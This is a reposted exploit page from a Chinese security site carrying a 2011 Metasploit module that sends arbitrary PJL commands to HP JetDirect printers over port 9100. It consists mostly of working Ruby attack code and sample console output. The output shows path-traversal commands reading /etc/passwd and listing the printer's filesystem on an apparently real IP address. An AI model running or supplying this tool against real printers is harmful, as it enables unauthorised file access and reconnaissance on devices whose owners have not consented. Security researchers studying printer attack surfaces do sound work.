首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP JetDirect PJL Query Execution
来源:http://yehg.net 作者:Myo Soe 发布时间:2011-08-11  

# Exploit Title: HP JetDirect PJL Query Execution
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_cmd) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_cmd):
#
#    Name         Current Setting                                           Required  Description
#    ----         ---------------                                           --------  -----------
#    CMD          FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999  yes       PJL Command to run
#    INTERACTIVE  true                                                      no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21                                             yes       The target address
#    RPORT        9100                                                      yes       The target port
#
# msf auxiliary(hp_printer_pjl_cmd) > run
#
# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:
#
# root::0:0::/:/bin/dlsh
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) >

 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'        => 'HP JetDirect Printer PJL Query Execution',
   'Version'     => '$Revision: 1 $',
   'Description' => %q{
    This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.
   },
   'Author'      => [
     'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'
     ],
   'License'     => MSF_LICENSE,
   'References'     =>
   [
    [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
    [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
    [ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
    [ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]    
    
   ],
   'DisclosureDate' => ' 2011'))
  
  register_options(
  [
   OptString.new('CMD',
     [
      true,
      "PJL Command to run",
      'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
     ]
    ),
   OptBool.new('INTERACTIVE',
        [
         false,
         "Enter interactive mode [msfconsole Only]",
         false
        ]
       ),
    
   Opt::RPORT(9100)
  ],self.class)
  

 end

 def run
  mode = datastore['INTERACTIVE']

  if mode == true
   set_interactive(datastore['CMD'])
  else
   set_onetime(datastore['CMD'])
  end
 end
 
 def set_interactive(scmd)
  cmd = scmd
 
  print_status("Entering interactive mode ...")
  stop = false
  
  set_onetime(cmd)
  
  until stop == true  
   print_status("Enter PJL Command:")
   print_status("-> 'quit' to exit")
   print("$ > ")
   tmp_cmd = ''
   tmp_cmd = gets.chomp.to_s 
   if tmp_cmd =~ /quit/
    stop= true
    print_status("Exited ... Have fun with your Printer!")
   else
    set_onetime(tmp_cmd) 
   end
  end
 end
 
 def set_onetime(scmd)

  connect
  
  cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
  r_cmd = cmd.sub("[REPLACE]",scmd)
  
   print_status("Please wait while executing -")
  print_status("#{scmd}")
  
  recv = sock.put(r_cmd)
  res = sock.get(-1,1)
  
  if (!res)
   print_error("ERROR in receiving data!\r\n")
  else
   if res.to_s =~ /ERROR/
    print_error("BAD COMMAND OR ERROR\r\n")
    disconnect
    return
   end
   resx = res.to_s[res.index("\r\n")+1,res.length]
   print_good("Server returned the following response:\r\n#{resx}")
  end
  
  disconnect 
 
 end


end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP JetDirect PJL Interface Uni
·LiteServe 2.81 PASV Command De
·Free CD to MP3 Converter 3.1 U
·Acoustica Mixcraft v1.00 Local
·Mozilla Firefox 3.6.16 mChanne
·Excel SLYK Format Parsing Buff
·PXE exploit server
·FCKeditor all versian Arbitrar
·Net112企业建站系统遍历目录和后
·iPhone/iPad Phone Drive 1.1.1
·Sun/Oracle GlassFish Server Au
·A-PDF All to MP3 v2.3.0 Univer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved